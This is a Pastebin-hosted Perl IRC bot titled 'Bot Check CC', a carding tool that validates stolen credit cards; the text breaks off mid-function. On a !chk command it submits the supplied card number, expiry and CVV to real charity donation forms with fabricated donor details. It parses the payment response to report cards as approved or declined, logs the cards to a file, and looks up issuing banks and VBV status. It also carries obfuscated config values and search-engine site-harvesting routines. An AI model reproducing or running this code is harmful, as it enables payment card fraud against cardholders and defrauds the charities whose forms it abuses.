Advertisement
RoryPrayana

Bot Check CC

Aug 14th, 2014
749
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 32.91 KB | None | 0 0
  1. //Hacking tutorial underground, cyber,security,sql inject,basic,ethical hacking
  2. //just on http://jok3d.blogspot.com/
  3.  
  4. #!/usr/lib/perl
  5.  
  6. #Call to standalone modules directory
  7. BEGIN{push(@INC,'Modules');}
  8.  
  9. #Modules Inclusion
  10. use LWP::Socket;
  11. use LWP::UserAgent;
  12. use HTTP::Request;
  13. use Parallel::ForkManager;
  14. use MIME::Base64 ();
  15. use WWW::Mechanize;
  16. use WWW::Mechanize::FormFiller;
  17. use Socket;
  18. use IO::Socket;
  19. use IO::Socket::INET;
  20. use MIME::Base64;
  21.  
  22. $| = 1;
  23.  
  24.  
  25. #Defines global variable/array
  26. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  27. my(@chans,@admins,@user_agents);
  28.  
  29.  
  30. # Configurations Variable
  31. my $outcri = "Mg==";
  32. $systemcri = MIME::Base64::decode($outcri);
  33. $timeout       = $systemcri;
  34. my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  35. $systemcri = MIME::Base64::decode($hostcri);
  36. $hosting        = "irc.malang.co.uk";
  37. $port          = 6667;
  38. my $nkpro = "Hack";
  39. $ident         = "xxx";
  40. $parallel_fork = 15;
  41. my @botcmd = ('1');
  42. @chans = ("#chking");
  43. my $proo = "ZGV2aWw=";
  44. $systempro = MIME::Base64::decode($proo);
  45. my $cheataer = "ZGV2aWw=";
  46. $sistempro = MIME::Base64::decode($cheataer);
  47. @HackAttack = ('HackAttack');
  48. @user_agents = &get_user_agents();
  49.  
  50. #Irc Socket Connection
  51. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  52. $sysircuno = MIME::Base64::decode($startirc);
  53. $irc_socket = new LWP::Socket;
  54. $irc_socket->connect($hosting,$port);
  55. $irc_socket->write("USER ".$ident." 8 * : 0,9 HackAttsck \r\n");
  56. $irc_socket->write("NICK ".$nkpro."\r\n");
  57. $irc_socket->write("NICKSERV IDENTIFY 1q2w3e4r5t6y\r\n");
  58. $irc_socket->write("JOIN $chans[0]\r\n");
  59. $irc_socket->write("JOIN $chans[1]\r\n");
  60. $irc_socket->write("JOIN $chans[2]\r\n");
  61. $irc_socket->write("JOIN $chans[3]\r\n");
  62. $irc_socket->write("JOIN $chans[4]\r\n");
  63. $irc_socket->write("JOIN $chans[5]\r\n");
  64.  
  65.  
  66. while($irc_socket)
  67. {
  68.     my $bof;
  69.     $irc_socket->read_until("\n", \$bof);
  70.     if($bof =~ /PING :(.*)/)
  71.     {
  72.         $irc_socket->write("PONG :$1\r\n");
  73.     }
  74.  
  75.     if($bof =~ /PRIVMSG (.*?) :(.*)/)
  76.     {
  77.         #PRIVMSG
  78.         my %msg = &get_msg($bof);
  79.                 my $nick = $msg{'from'};
  80.         if($msg{'what'} =~ /\!join (.*)/)
  81.         {
  82.         my $chan = $1;
  83.             if(&ctrl_admin(\%msg) == 0){
  84.                                 &respond_to_privmsg(\%msg," 15,1[ 7REQUEST ADMIN 15] 9 Ok Boss! I'm Going to $chan ");
  85.                 $irc_socket->write("JOIN $chan\r\n");
  86.             }
  87.         }
  88.         if($msg{'what'} =~ /\!cambiarcmd (.*)/){
  89.         my $comma = $1;
  90.             if(&ctrl_admin(\%msg) == 0){
  91.                 &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 CHANGiNG COMMAND STRING TO !sql${botcmd} ");
  92.                 &canghecmd($comma);
  93.             }
  94.         }
  95. if($msg{'what'} =~ /\!cnick (.*)/)
  96.         {
  97.         my $cnick = $1;
  98.         if(&ctrl_admin(\%msg) == 0){
  99.         $irc_socket->write("NICK $cnick\r\n");
  100.  
  101.  
  102.         }
  103.         }
  104.         if($msg{'what'} =~ /\!ignore (.*)/)
  105.         {
  106.         my $chknick = $1;
  107.             if(&ctrl_admin(\%msg) == 0){
  108.                 $irc_socket->write("PRIVMSG $master : 7,1 Ignored 14=> 4 $1 \r\n");
  109.                 addlog("SCRIPTS/ignore.txt", "$1|$1|Ignore");
  110.         }
  111.         }
  112.                
  113.         if($msg{'what'} =~ /\!help/){
  114.  &respond_to_privmsg(\%msg," 6,1 Checker Status 9[ON] 8| 10IF You need Private Checker 0/msg HackAttack");
  115. &respond_to_privmsg(\%msg," 0,1!chk <cc> <expdate> <cvv2> - 11 Visa , MasterCard");
  116.                
  117. }
  118. if($msg{'what'} =~ /\!chk 1 2 3/){    
  119.  
  120.                 &respond_to_privmsg(\%msg,"$nick : invalid format <cc> <expdate> <cvv2>");
  121.                
  122.                 }
  123.  
  124. ############################################################################################
  125. ##################################################################################  
  126.  if($msg{'what'} =~ /\!chk status/ )
  127.     {
  128.     open (FILE, "data.txt") or die "Can't open file: $!";
  129.     my ($lines) = (0);
  130.     while (<FILE>) {
  131.     $lines++;
  132.     }
  133.     &respond_to_privmsg(\%msg," 7,1#HackAttack 0: 14 Total 10$lines 14card checked 0- 100 14credit available");
  134.     }
  135. ################################ Status by HackAttack ################################
  136. ##################################################################################  
  137.  
  138.  if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/)
  139.                     {
  140.                     my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);        
  141.                     my $var1 = substr($expmes,0,2);
  142.             my $var2 = substr($expmes,2,4);
  143.                     my $range = 15;
  144.                     my $minimum =1.200 ;
  145.                     my $dolar = '$';
  146.                     my $random_number = int(rand($range)) + $minimum;
  147.                    
  148.  
  149.          my $rechecklist = "data.txt";
  150. open FILE,"$rechecklist";
  151.                 my @results = <FILE>;
  152.                 close FILE;
  153.                 my $chkResVar = 0;
  154.                 foreach my $cRes(@results) {
  155.                     if($cRes =~ /$numerocarta\|(.*)/) {
  156.                     $chkResVar = 1;
  157.                 &respond_to_privmsg(\%msg," 7,1 $nick 00: 03 $numerocarta 00: 4Already checked! ");
  158.                    goto finish;
  159.                     }
  160.                 }    
  161.  
  162.  
  163. print "\n";
  164. if (substr($numerocarta,0,1)==4) {
  165. $cctype = "VISA";
  166. $varType = "VISA";
  167. #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Visa 12]");
  168. }
  169. if (substr($numerocarta,0,1)==5) {
  170. $cctype = "MasterCard";
  171. $varType = "MC";
  172. #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 4Master 7Card 12]");
  173. }
  174. if (substr($numerocarta,0,1)==3) {
  175. $cctype = "AMERICAN EXPRESS";
  176. $varType = "AmEx";
  177. #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 14A 2m 14e 2x 12]");
  178. }
  179. if (substr($numerocarta,0,1)==6) {
  180. $cctype = "Discover";
  181. $varType = "Discover";
  182. #&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Disc 7o 15ver 12]");
  183. }
  184.  
  185. print "inizio mechanize sacha\n";
  186.  
  187. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
  188. my $formfiller = WWW::Mechanize::FormFiller->new();
  189. $agent->env_proxy();
  190.     $agent->get('http://secure16.activehost.com/roseensemble/donate.html');
  191.     $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  192.     $agent->form_number(1);
  193.   { local $^W; $agent->current_form->value('concert-name', 'List my name in concert programs as'); };
  194.   { local $^W; $agent->current_form->value('donorname', 'mark smith'); };
  195.   { local $^W; $agent->current_form->value('memoriam', 'This gift is in memory of'); };
  196.   { local $^W; $agent->current_form->value('inmemory', 'This gift is in memory of honor'); };
  197.   { local $^W; $agent->current_form->value('creditCardType', 'varType'); };
  198.   { local $^W; $agent->current_form->value('CCnumber', ''.$numerocarta.''); };
  199.   { local $^W; $agent->current_form->value('CCexp', '20'.$var1.var2.''); };
  200.   { local $^W; $agent->current_form->value('ccv', ''.$verifica.''); };
  201.   { local $^W; $agent->current_form->value('realname', 'mark smith'); };
  202.   { local $^W; $agent->current_form->value('CCaddress', 'las heras 32'); };
  203.   { local $^W; $agent->current_form->value('city', 'Detroit'); };
  204.   { local $^W; $agent->current_form->value('state', 'AL'); };
  205.   { local $^W; $agent->current_form->value('zip_code', '05544'); };
  206.   { local $^W; $agent->current_form->value('phone', '1569841055'); };
  207.    $agent->submit();
  208.   print $agent->content,"\n";
  209.     my $allo=$agent->content;
  210. my $file = "data.txt";
  211.         open (MYFILE, ">>$file");
  212.         print MYFILE "$numerocarta|$expmes$expanio|$verifica\n";
  213. close (MYFILE);
  214.     my $allo=$agent->content;
  215. if ($allo =~/The transaction has been declined because of an AVS mismatch. /){
  216.                         my $database = "banklist.txt";
  217.                         open FILE,"$database" or die "Errore nell'apertura: $!";
  218.                         my @results=<FILE>;
  219.                         close FILE;
  220.                         my $bankinfo = $1;
  221.                                                 my $nuova = substr($numerocarta,0,6);
  222.                                                 foreach my $url (@results){
  223.                                                 if($url =~ m/$nuova\|(.*)/){
  224.                             &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
  225.                                                
  226.                                      
  227. print "card $variable!";                      
  228. }
  229. }
  230. }elsif ($allo =~/This transaction has been declined./){
  231.                        
  232.                                                 my $database = "banklist.txt";
  233.                         open FILE,"$database" or die "Errore nell'apertura: $!";
  234.                         my @results=<FILE>;
  235.                         close FILE;
  236.                                                 my $bankinfo = $1;
  237.                                                 my $nuova = substr($numerocarta,0,6);
  238.                                                 foreach my $url (@results){
  239.                                                 if($url =~ m/$nuova\|(.*)/){
  240.                                                 my $bankinfo = $1;
  241.                                                 &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00:  10,1$1 | | | ");
  242.  
  243.  
  244. print "card $variable!";
  245. }
  246. }
  247. }elsif ($allo =~/A duplicate transaction has been submitted./){
  248. &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
  249. }elsif ($allo =~/Credit card expiration date is invalid./){
  250. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
  251. }elsif ($allo =~/There was a problem with your order./){
  252. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
  253. }elsif ($allo =~/The credit card has expired./){
  254. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4The credit card has expired.");
  255. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  256. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4is not Valid ");
  257. }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
  258. &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
  259. }elsif ($allo =~/A duplicate transaction has been submitted./){
  260. &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
  261. }elsif ($allo =~/The credit card number is invalid./){
  262. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
  263. }elsif ($allo =~/This transaction has been declined./){
  264. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
  265. }elsif ($allo =~/This transaction requires voice authentication/){
  266. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
  267. }elsif ($allo =~/The credit card number is invalid./){
  268. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
  269. }
  270. }
  271.                                      
  272.                                          
  273. if($msg{'what'} =~ /\!bank\s(\d{6})/){
  274.                       my $bankinfo = $1;
  275.                         my $database = "banklist.txt";
  276.                         open FILE,"$database" or die "Can't open file: $database";
  277.                         my @results=<FILE>;
  278.                         close FILE;
  279.                         my $bankvar = 0;
  280.                         my $chkvar = 0;
  281.              my $nuova = substr($bankinfo,0,6);
  282.                         foreach my $url (@results){
  283.                         if($url =~ /$bankinfo\|(.*)/){
  284.                         if($bankvar  == 0) {
  285.                         $bankvar = 1;
  286.                         &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1$1 ");
  287.                         goto finish;
  288.                       }
  289.                     }
  290.                    else{
  291.                    $chkvar = 1;
  292.                    }
  293.                     }
  294.                      if($chkvar == 1) {
  295.                      &respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1Unknown ");
  296.                           }
  297.                                 finish:
  298.                         }      
  299.  
  300. if($msg{'what'} =~ /\!q (.*)/)
  301.         {
  302.             my $qmsg = $1;
  303.             if(&ctrl_admin(\%msg) == 0){
  304.                 $irc_socket->write(" 4Quit brb ".$qmsg."\r\n");
  305.             }
  306.                 }
  307.  
  308.         if($msg{'what'} =~ /\!raw (.*)/)
  309.         {
  310.             my $raw = $1;
  311.             if(&ctrl_admin(\%msg) == 0){
  312.             &respond_to_privmsg(\%msg," 15[ 7RAW 15] 12 SENDING IRC RAW REQUESTED ");
  313.                 $irc_socket->write($raw."\r\n");
  314.        
  315.             }
  316.         }
  317.  
  318.      if($msg{'what'} =~ /^!ip (.*)/)
  319.         {
  320.         my ($iploca) = ($1);
  321.         &respond_to_privmsg(\%msg,"");
  322. print "\n";
  323. my $agent = WWW::Mechanize->new( autocheck => 1 );
  324. my $formfiller = WWW::Mechanize::FormFiller->new();
  325. $agent->env_proxy();
  326.   $agent->get('http://www.ipligence.com/geolocation');
  327.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  328.   { local $^W; $agent->current_form->value('ip', ''.$iploca.''); };
  329.   $agent->submit();
  330.   print $agent->content,"\n";
  331. my $ipse=$agent->content;
  332. if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  333. my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  334. &respond_to_privmsg(\%msg," 7,1 Ip City 15: 9$city 0| 7Ip Country 15: 9$country 0| 7Continent 15: 9$continent");
  335. }
  336. elsif ($ipse =~/Invalid address or IP not found/){
  337. &respond_to_privmsg(\%msg," 4,1Invalid IP Address!");
  338. }
  339. }
  340.  
  341.  
  342.  
  343.  
  344.     if($msg{'what'} =~ /\!ccnononononononononononono\s(\d{16})\s(\d{4})\s(\d{3})/)
  345.                     {
  346.                     my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);        
  347.                     my $var1 = substr($expmes,0,2);
  348.                     my $var2 = substr($expmes,2,4);
  349.                     my $range = 15;
  350.                     my $minimum =100 ;
  351.                     my $random_number = int(rand($range)) + $minimum;
  352.                    
  353. print "inizio mechanize sacha\n";
  354.  
  355. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
  356. my $formfiller = WWW::Mechanize::FormFiller->new();
  357. $agent->env_proxy();
  358.     $agent->get('https://archive.cyark.org/get-involved');
  359.     $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  360.     $agent->form_number(1);
  361.   { local $^W; $agent->current_form->value('amount', 'other'); };
  362.   { local $^W; $agent->current_form->value('amountother', '0.1'); };
  363.   { local $^W; $agent->current_form->value('donationfor', 'Wherever most needed'); }
  364.   { local $^W; $agent->current_form->value('fname', 'mark'); };
  365.   { local $^W; $agent->current_form->value('lname', 'smith'); };
  366.   { local $^W; $agent->current_form->value('address1', 'las heras 32'); };
  367.   { local $^W; $agent->current_form->value('city', 'Mebane'); };
  368.   { local $^W; $agent->current_form->value('state', 'AL'); };
  369.   { local $^W; $agent->current_form->value('zip', '05544'); };
  370.   { local $^W; $agent->current_form->value('country', 'United States'); };
  371.   { local $^W; $agent->current_form->value('email', 'movistarsrl1@hotmail.com'); };
  372.   { local $^W; $agent->current_form->value('cctype', 'varType'); };
  373.   { local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); };
  374.   { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); };
  375.   { local $^W; $agent->current_form->value('"exp_month', ''.$var1.''); };
  376.   { local $^W; $agent->current_form->value('"exp_year', ''.$var2.''); };
  377.   $agent->submit();
  378.   print $agent->content,"\n";
  379. my $allo=$agent->content;
  380. if ($allo =~/Thank you for joining CyArk in digitally preserving our shared human history./){
  381.                         my $database = "banklist.txt";
  382.                         open FILE,"$database" or die "Errore nell'apertura: $!";
  383.                         my @results=<FILE>;
  384.                         close FILE;
  385.                         my $bankinfo = $1;
  386.                                                 my $nuova = substr($numerocarta,0,6);
  387.                                                 foreach my $url (@results){
  388.                                                 if($url =~ m/$nuova\|(.*)/){
  389.                             &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
  390.                                                
  391.                                      
  392. print "card $variable!";                      
  393. }
  394. }
  395. }elsif ($allo =~/Transaction Normal/){
  396.                        
  397.                                                 my $database = "banklist.txt";
  398.                         open FILE,"$database" or die "Errore nell'apertura: $!";
  399.                         my @results=<FILE>;
  400.                         close FILE;
  401.                                                 my $bankinfo = $1;
  402.                                                 my $nuova = substr($numerocarta,0,6);
  403.                                                 foreach my $url (@results){
  404.                                                 if($url =~ m/$nuova\|(.*)/){
  405.                                                 my $bankinfo = $1;
  406.                                                 &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00:  10,1$1 | | | ");
  407.  
  408.  
  409. print "card $variable!";
  410. }
  411. }
  412. }elsif ($allo =~/A duplicate transaction has been submitted./){
  413. &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
  414. }elsif ($allo =~/Credit card expiration date is invalid./){
  415. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 ");
  416. }elsif ($allo =~/There was a problem with your order./){
  417. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
  418. }elsif ($allo =~/The credit card has expired./){
  419. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired.");
  420. }elsif ($allo =~/The credit card expiration date entered is not valid./){
  421. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid ");
  422. }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
  423. &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
  424. }elsif ($allo =~/A duplicate transaction has been submitted./){
  425. &respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
  426. }elsif ($allo =~/Invalid Credit Card Number/){
  427. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
  428. }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
  429. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
  430. }elsif ($allo =~/This transaction requires voice authentication/){
  431. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
  432. }elsif ($allo =~/Invalid Credit Card Number/){
  433. &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
  434. }
  435. }
  436.  
  437.  
  438.         if($msg{'what'} =~ /^!zip\s+(\d{5})/)
  439.         {
  440.         my ($zipcheck) = ($1);
  441.         &respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck");
  442. print "\n";
  443. my $agent = WWW::Mechanize->new( autocheck => 1 );
  444. my $formfiller = WWW::Mechanize::FormFiller->new();
  445. $agent->env_proxy();
  446. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
  447. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  448.   { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  449.   $agent->submit();
  450.   print $agent->content,"\n";
  451. my $zipse=$agent->content;
  452. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  453. my ($city) = ($1);
  454. my ($state) = ($2);
  455.         &respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city");
  456. }
  457. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
  458.         &respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!");
  459. }
  460. }
  461.  
  462.  
  463. if($msg{'what'} =~ /^!sec\s+(\d{16})/){
  464.             open FILE,"SCRIPTS/ignored.txt";
  465.         my ($numerocarta,) = ($1,$2,$3,$4,);
  466.                 my $var1 = substr($expmes,0,2);
  467.                 my $var2 = substr($expmes,2,4);
  468.                 if (substr($numerocarta,0,1)==4) {
  469.                 $varType = 1;
  470.         &respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta");
  471.                 }
  472.                 if (substr($numerocarta,0,1)==5) {
  473.                 $varType = 2;
  474.                 &respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta");
  475.                 }
  476.             print "\n";
  477.             my $agent = WWW::Mechanize->new( autocheck => 1 );
  478.             my $formfiller = WWW::Mechanize::FormFiller->new();
  479.             $agent->env_proxy();
  480.             $agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
  481.             $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  482.                 $agent->form_number(1);
  483.             { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
  484.                 $agent->submit();
  485.                  print $agent->content,"\n";
  486.                  my $allo=$agent->content;
  487.                 if ($allo =~/color=green>Probably Non VBV/){
  488.                         &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
  489.                 }
  490.                 if ($allo =~/color=green>Probably Non VBV/){
  491.                         &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
  492.                 }
  493.                 if ($allo =~/color=red>Probably VBV Active/){
  494.                         &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
  495.                 }
  496.                     if ($allo =~/color=red>Probably VBV Active/){
  497.                         &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
  498.                 }
  499.                 if ($allo =~/Not found in Database/) {
  500.                     &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!");
  501.                 }
  502.                     toEnd:
  503.                                 }
  504.  
  505. }
  506. }
  507. sub ctrl_admin()
  508. {
  509.     my $data = $_[0];
  510.     foreach my $admin ( HackAttack )
  511.     {
  512.         if($admin eq $data->{'from'})
  513.         {
  514.             return(0);
  515.         }
  516.     }
  517.     &respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN");
  518.     return(-1);
  519. }
  520.  
  521. sub respond_to_privmsg()
  522. {
  523.     my ($data,$m) = ($_[0],$_[1]);
  524.     if($data->{'to'} =~ /#/)
  525.     {
  526.         &privmsg($data->{'to'},$m);
  527.     }
  528.     else
  529.     {
  530.         &privmsg($data->{'from'},$m);
  531.     }
  532. }
  533.  
  534. sub privmsg()
  535. {
  536.     my($nick,$send) = @_;
  537.     $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  538. }
  539.  
  540. sub join_all()
  541. {
  542.     foreach my $chan ( @chan )
  543.     {
  544.         $irc_socket->write("JOIN ".$chan."\r\n");
  545.     }
  546. }
  547.  
  548. sub get_msg()
  549. {
  550.     my $line = $_[0];
  551.     my %data;
  552.     #:Mic22!~Blin[k]-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
  553.     if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
  554.     {
  555. #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
  556.         $data{'from'} = $1;
  557.         $data{'to'}   = $3;
  558.         $data{'what'} = $4;
  559.     }
  560.     return(%data);
  561. }
  562.  
  563. sub http_request()
  564. {
  565.     my($site,$request,$ua,$resp,$cnt);
  566.     $site    =  $_[0];
  567.     $site    =~ s/[\r\n]//g;
  568.     $request =  HTTP::Request->new(GET => $site);
  569.     $ua      =  LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  570.     $ua->timeout($timeout);
  571.     $resp    =  $ua->request($request);
  572.     $cnt     =  $resp->content();
  573.     return($cnt);
  574. }
  575.  
  576. sub get_user_agents()
  577. {
  578.     my @us_ag = (
  579.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  580.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  581.     "Opera/8.5 (X11; Linux i686; U; cs)",
  582.     "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  583.     );
  584.     return(@us_ag);
  585. }
  586.  
  587. sub get_all_host()
  588. {
  589.     my $site =  $_[0];
  590.     my @dirs =  ();
  591.     my @ret  =  ();
  592.     my $tmp  =  "";
  593.     $site    =~ s/http:\/\///g;
  594.     $site    =~ s/[\r\n]//g;
  595.     $site    =~ s/\/\///g;
  596.     if($site !~ /\/$/)
  597.     {
  598.         $site .= "/";
  599.     }
  600.  
  601.     @dirs = split(/\//,$site);
  602.     $tmp = $dirs[0] . "/";
  603.     push(@ret,$tmp);
  604.    
  605.     for($i = 1; $i < scalar(@dirs); $i++)
  606.     {
  607.         $tmp .= $dirs[$i] . "/";
  608.         push(@ret,$tmp);
  609.     }
  610.    
  611.     return(@ret);
  612. }
  613.  
  614. sub urlencode()
  615. {
  616.   my $str = $_[0];
  617.   $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  618.   return $str;
  619. }
  620.  
  621. sub unique()
  622. {
  623.     my @unici = ();
  624.     my %visti = ();
  625.     foreach my $elemento (@_) {
  626.         $elemento =~ s/\/+/\//g;
  627.         next if $visti{$elemento}++;
  628.         push @unici, $elemento;
  629.     }
  630.     return @unici;
  631. }
  632.  
  633. sub find_all_sites()
  634. {
  635.     my ($data,$dork)  =  @_;
  636.     my $tmp_file_name =  rand(999999) . ".txt";
  637.     my @pids_array    =  ();
  638.     my @data_links    =  ();
  639.     my @site_finded   =  ();
  640.     my @site_cleaned  =  ();
  641.     $dork             =~ s/[\r\n]//g;
  642.    
  643.     &respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" ");
  644.  
  645.     $pids_array[0] = fork();
  646.     if($pids_array[0] == 0)
  647.     {
  648.         @data_links = &google($dork);
  649.         &respond_to_privmsg($data," 15[ 7GOOGLE 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  650.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  651.         exit(0);
  652.     }
  653.    
  654.     $pids_array[1] = fork();
  655.     if($pids_array[1] == 0)
  656.     {
  657.         @data_links = &yahoo($dork);
  658.         &respond_to_privmsg($data," 15[ 7YAHOO 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  659.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  660.         exit(0);
  661.     }
  662.    
  663.     $pids_array[2] = fork();
  664.     if($pids_array[2] == 0)
  665.     {
  666.         @data_links = &altavista($dork);
  667.         &respond_to_privmsg($data," 15[ 7ALTAVISTA 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  668.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  669.         exit(0);
  670.     }
  671.    
  672.     $pids_array[3] = fork();
  673.     if($pids_array[3] == 0)
  674.     {
  675.         @data_links = &msn($dork);
  676.         &respond_to_privmsg($data," 15[ 7BiNG 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  677.         &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  678.         exit(0);
  679.     }
  680.  
  681.     $pids_array[4] = fork();
  682.     if($pids_array[4] == 0)
  683.     {
  684.         @data_links = &ask($dork);
